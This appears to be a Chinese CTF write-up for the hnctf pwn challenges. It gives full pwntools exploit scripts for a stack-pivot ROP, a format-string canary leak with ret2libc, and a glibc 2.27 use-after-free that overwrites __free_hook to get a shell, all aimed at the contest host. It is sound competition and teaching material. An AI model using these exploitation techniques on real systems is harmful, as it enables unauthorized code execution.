nyyyddddn

hnctf_pwn

2024/05/15

题目附件https://github.com/nyyyddddn/ctf/tree/main/hnctf_pwn

close

关闭了标准输出流,直接cat /flag 1>&0就可以了

ez_pwn

%s 泄露buf的地址后覆盖rbp栈迁移后打rop就好了,由于32位的调用约定,不能以连续的ret结尾的gadget去rop,然后system不能直接传binsh过去,得传;sh,所以read一次后重启main再调用system就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 29342

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

idea

格式化字符串泄露canary后和ez_pwn一样的流程,不过libc小版本的差异远程打不通,可以用libc searcher解决这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 46515

elf = context.binary = ELF('./idea')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

sla("How many bytes do you want me to read? ","-1")

payload = b'%7$p'
# gdb_comm = '''
# b *0x080486E4
# c
# '''
# gdb.attach(p,gdb_comm)
sla("Ok, sounds good. I'll give u a gift!",payload)

rl()
canary = int(r(10),16)
success(hex(canary))

ru("bytes of data!")

puts = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x0804870D

payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(puts) + p32(vuln) + p32(puts_got)
# g(p)
sl(payload)

ru("a" * 0x20)
rl()
# libc_base = u32(r(4)) - libc.sym['puts']
# success(f"libc_base ->{hex(libc_base)}")
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))
# read = libc_base + libc.sym['read']

bss = 0x804a000

puts_addr = u32(r(4))
success(hex(puts_addr))
success(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
success(hex(libc_base))
success(hex(libc_base))
system = libc_base + libc.dump("system")
read = libc_base + libc.dump("read")

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)

sl(payload)

time.sleep(0.5)
s(b'sh;\0')

sla("How many bytes do you want me to read? ","-1")
sla("Ok, sounds good. I'll give u a gift!","AA")
ru("bytes of data!")
payload = b'a' * 0x20 + p32(canary) + b'a' * 0xc
payload += p32(system) + p32(bss) + p32(bss)
# g(p)
sl(payload)




p.interactive()

what

存在uaf,glibc 2.27 打 通过unsortedbin 泄露libc基地址后,打free hook为system然后去free一个binsh内容的堆块就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.imxbt.cn"
PORT = 40950

elf = context.binary = ELF('./what')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def add(size):
sla("Enter your command:","1")
sla("size:",str(size))

def delete():
sla("Enter your command:","2")

def show(idx):
sla("Enter your command:","3")
sla("please enter idx:",str(idx))

def edit(idx,content):
sla("Enter your command:","4")
sla("please enter idx:",str(idx))
sa("Please enter your content:",content)

p = connect()


for i in range(9):
add(0x80)
for i in range(8):
delete()
show(1)

ru("Content:")
leak = u64(r(6).ljust(8,b'\x00'))
success(hex(leak))
libc_base = leak - (0x72b6087ebca0 - 0x72b608400000)
success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(3,p64(free_hook))
add(0x80)
add(0x80)
add(0x80)

edit(3,p64(system))

edit(2,b'/bin/sh\x00\x00')

delete()
# g(p)


p.interactive()


Appetizers_🥕[working]

已经知道的信息是,能往libc基地址往后偏移任意位置 用异或的方式写两个字节的数据,写不到seccomp的段,还没有找到劫持控制流的方法,可能和main arena之类的宏观结构有关系?

CATALOG
  1. 1. close
  2. 2. ez_pwn
  3. 3. idea
  4. 4. what
  5. 5. Appetizers_🥕[working]